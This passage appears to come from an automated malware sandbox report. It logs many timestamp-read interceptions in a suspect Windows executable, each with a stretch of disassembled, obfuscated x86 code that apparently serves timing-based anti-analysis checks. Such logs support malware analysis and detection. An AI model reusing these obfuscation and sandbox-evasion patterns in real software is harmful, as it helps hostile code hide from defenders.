Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC1842 second address: EC1851 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC1851 second address: EC1855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC1855 second address: EC185F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9F38C02226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC21A6 second address: EC21AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC21AA second address: EC21B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC6AA3 second address: EC6B2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F9F38C153FCh 0x00000011 jnc 00007F9F38C153F8h 0x00000017 popad 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push ebx 0x0000001c call 00007F9F38C153F8h 0x00000021 pop ebx 0x00000022 mov dword ptr [esp+04h], ebx 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc ebx 0x0000002f push ebx 0x00000030 ret 0x00000031 pop ebx 0x00000032 ret 0x00000033 xor ebx, 53434EF3h 0x00000039 mov ebx, dword ptr [ebp+122D2D58h] 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push eax 0x00000044 call 00007F9F38C153F8h 0x00000049 pop eax 0x0000004a mov dword ptr [esp+04h], eax 0x0000004e add dword ptr [esp+04h], 00000017h 0x00000056 inc eax 0x00000057 push eax 0x00000058 ret 0x00000059 pop eax 0x0000005a ret 0x0000005b xor bx, 979Fh 0x00000060 push 00000000h 0x00000062 movzx edi, ax 0x00000065 push eax 0x00000066 push eax 0x00000067 push edx 0x00000068 jl 00007F9F38C153F8h 0x0000006e rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC8B1A second address: EC8B26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F9F38C02226h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E72B23 second address: E72B34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 jno 00007F9F38C153F8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC90D3 second address: EC90F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9F38C02231h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jnp 00007F9F38C02226h 0x00000016 popad 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: ECB3E4 second address: ECB3EE instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9F38C153F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC92E7 second address: EC92EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: ECBB55 second address: ECBB59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: ECBB59 second address: ECBB5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: ECDBEC second address: ECDC55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F9F38C153F8h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000015h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 mov edi, dword ptr [ebp+1247E895h] 0x00000028 mov edi, dword ptr [ebp+122D2B51h] 0x0000002e and bh, 0000001Bh 0x00000031 push 00000000h 0x00000033 mov dword ptr [ebp+122D2603h], ecx 0x00000039 push 00000000h 0x0000003b jmp 00007F9F38C153FEh 0x00000040 xchg eax, esi 0x00000041 jnp 00007F9F38C15402h 0x00000047 push eax 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b jo 00007F9F38C153F6h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: ED1414 second address: ED1443 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9F38C0222Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c je 00007F9F38C02239h 0x00000012 jmp 00007F9F38C02233h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: ED3332 second address: ED3336 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: ED257E second address: ED2582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: ED2582 second address: ED2586 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: ED41A4 second address: ED41BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C02235h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: ED52E0 second address: ED5375 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F9F38C15400h 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 mov bh, 23h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F9F38C153F8h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e sub ebx, dword ptr [ebp+122D288Dh] 0x00000034 mov dword ptr [ebp+122D2603h], edx 0x0000003a jbe 00007F9F38C153FCh 0x00000040 mov ebx, dword ptr [ebp+12483DA6h] 0x00000046 push 00000000h 0x00000048 push 00000000h 0x0000004a push edi 0x0000004b call 00007F9F38C153F8h 0x00000050 pop edi 0x00000051 mov dword ptr [esp+04h], edi 0x00000055 add dword ptr [esp+04h], 00000015h 0x0000005d inc edi 0x0000005e push edi 0x0000005f ret 0x00000060 pop edi 0x00000061 ret 0x00000062 mov edi, dword ptr [ebp+12473631h] 0x00000068 push esi 0x00000069 add dword ptr [ebp+122D2DE0h], edx 0x0000006f pop edi 0x00000070 mov dword ptr [ebp+122D2E3Bh], edx 0x00000076 push eax 0x00000077 jc 00007F9F38C15404h 0x0000007d push eax 0x0000007e push edx 0x0000007f push edi 0x00000080 pop edi 0x00000081 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: ED5375 second address: ED5379 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: ED640D second address: ED6424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F9F38C153FBh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: ED44C8 second address: ED44D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: ED83A1 second address: ED83A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: ED83A5 second address: ED83B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: ED83B2 second address: ED83B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: ED83B6 second address: ED83C0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9F38C02226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: ED6694 second address: ED6698 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EDA3BB second address: EDA3D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C0222Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F9F38C02226h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EDA3D2 second address: EDA3D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: ED95AB second address: ED95B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EDA3D6 second address: EDA3E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jbe 00007F9F38C153FCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: ED95B0 second address: ED95DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F9F38C02239h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F9F38C02228h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: ED95DA second address: ED96A3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jc 00007F9F38C153F6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d call 00007F9F38C15404h 0x00000012 pushad 0x00000013 ja 00007F9F38C153F6h 0x00000019 push eax 0x0000001a pop ebx 0x0000001b popad 0x0000001c pop ebx 0x0000001d push dword ptr fs:[00000000h] 0x00000024 push 00000000h 0x00000026 push edi 0x00000027 call 00007F9F38C153F8h 0x0000002c pop edi 0x0000002d mov dword ptr [esp+04h], edi 0x00000031 add dword ptr [esp+04h], 0000001Bh 0x00000039 inc edi 0x0000003a push edi 0x0000003b ret 0x0000003c pop edi 0x0000003d ret 0x0000003e mov ebx, dword ptr [ebp+122D2B21h] 0x00000044 pushad 0x00000045 mov edi, 02AA263Ch 0x0000004a add dword ptr [ebp+1247E0F5h], ecx 0x00000050 popad 0x00000051 mov dword ptr fs:[00000000h], esp 0x00000058 jnp 00007F9F38C1540Ch 0x0000005e jmp 00007F9F38C15406h 0x00000063 mov eax, dword ptr [ebp+122D1051h] 0x00000069 mov dword ptr [ebp+122D198Eh], edx 0x0000006f push FFFFFFFFh 0x00000071 mov dword ptr [ebp+12469177h], esi 0x00000077 nop 0x00000078 jmp 00007F9F38C153FFh 0x0000007d push eax 0x0000007e push eax 0x0000007f push edx 0x00000080 jmp 00007F9F38C15406h 0x00000085 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EDEC5C second address: EDEC62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EDEC62 second address: EDEC85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F9F38C15408h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EDEC85 second address: EDEC89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EE53B5 second address: EE53E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jns 00007F9F38C153F8h 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F9F38C1540Fh 0x00000014 jmp 00007F9F38C153FEh 0x00000019 jmp 00007F9F38C153FBh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E7975E second address: E79768 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9F38C02226h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EE4DC7 second address: EE4DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EE4DCD second address: EE4DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EE4F3D second address: EE4F42 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EE981A second address: EE981F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EE981F second address: EE9868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jns 00007F9F38C153FAh 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 js 00007F9F38C1540Dh 0x0000001a pushad 0x0000001b push edi 0x0000001c pop edi 0x0000001d jmp 00007F9F38C15403h 0x00000022 popad 0x00000023 mov eax, dword ptr [eax] 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F9F38C15400h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EE9965 second address: EE9969 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EE9969 second address: EE9989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 push edi 0x00000011 jp 00007F9F38C153F6h 0x00000017 pop edi 0x00000018 popad 0x00000019 mov eax, dword ptr [eax] 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e push esi 0x0000001f pop esi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EE9989 second address: EE99BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C0222Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F9F38C02232h 0x0000000e popad 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 jnc 00007F9F38C02226h 0x0000001c pop ecx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EE99BB second address: D07872 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C15408h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F9F38C153F8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 jmp 00007F9F38C153FBh 0x00000029 push dword ptr [ebp+122D0859h] 0x0000002f jmp 00007F9F38C15400h 0x00000034 call dword ptr [ebp+122D1856h] 0x0000003a pushad 0x0000003b jmp 00007F9F38C153FFh 0x00000040 mov dword ptr [ebp+122D18C0h], ebx 0x00000046 xor eax, eax 0x00000048 add dword ptr [ebp+122D1804h], ebx 0x0000004e mov edx, dword ptr [esp+28h] 0x00000052 jmp 00007F9F38C153FBh 0x00000057 mov dword ptr [ebp+122D2B79h], eax 0x0000005d jc 00007F9F38C153FCh 0x00000063 xor dword ptr [ebp+122D188Fh], ecx 0x00000069 mov esi, 0000003Ch 0x0000006e xor dword ptr [ebp+122D17F3h], edi 0x00000074 jp 00007F9F38C15402h 0x0000007a add esi, dword ptr [esp+24h] 0x0000007e sub dword ptr [ebp+122D17FFh], eax 0x00000084 lodsw 0x00000086 mov dword ptr [ebp+122D17F3h], edx 0x0000008c add eax, dword ptr [esp+24h] 0x00000090 sub dword ptr [ebp+122D17F3h], ecx 0x00000096 mov ebx, dword ptr [esp+24h] 0x0000009a stc 0x0000009b nop 0x0000009c jmp 00007F9F38C15408h 0x000000a1 push eax 0x000000a2 pushad 0x000000a3 push eax 0x000000a4 push eax 0x000000a5 push edx 0x000000a6 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E70FDE second address: E70FF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F38C0222Bh 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E70FF1 second address: E70FF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: E70FF6 second address: E70FFB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EEF47D second address: EEF485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EEF485 second address: EEF49C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9F38C02230h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EEF49C second address: EEF4A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EEF4A2 second address: EEF4A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EEFA05 second address: EEFA0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EEFA0B second address: EEFA11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EEFA11 second address: EEFA31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F9F38C15400h 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007F9F38C153F6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EEFA31 second address: EEFA37 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EEFCBC second address: EEFCC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EEFE1D second address: EEFE21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EEFF60 second address: EEFF6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F9F38C153F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EF0515 second address: EF0523 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EFD395 second address: EFD3B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F9F38C153FDh 0x0000000b jmp 00007F9F38C153FDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EFD3B5 second address: EFD3B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EFC066 second address: EFC082 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jns 00007F9F38C153F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F9F38C15400h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EFC082 second address: EFC087 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EFC087 second address: EFC0A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9F38C15403h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EFC0A9 second address: EFC0AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EFC0AD second address: EFC0B9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jg 00007F9F38C153F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC4AE0 second address: EC4AE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC4BFF second address: EC4C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC4C03 second address: EC4C07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC4C07 second address: EC4C1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9F38C153FEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC5135 second address: EC515A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9F38C02226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jnl 00007F9F38C0222Ch 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 jbe 00007F9F38C02240h 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: EC515A second address: EC517D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F38C15402h 0x00000009 popad 0x0000000a pop eax 0x0000000b mov ch, A3h 0x0000000d push 4A754E52h 0x00000012 push edx 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
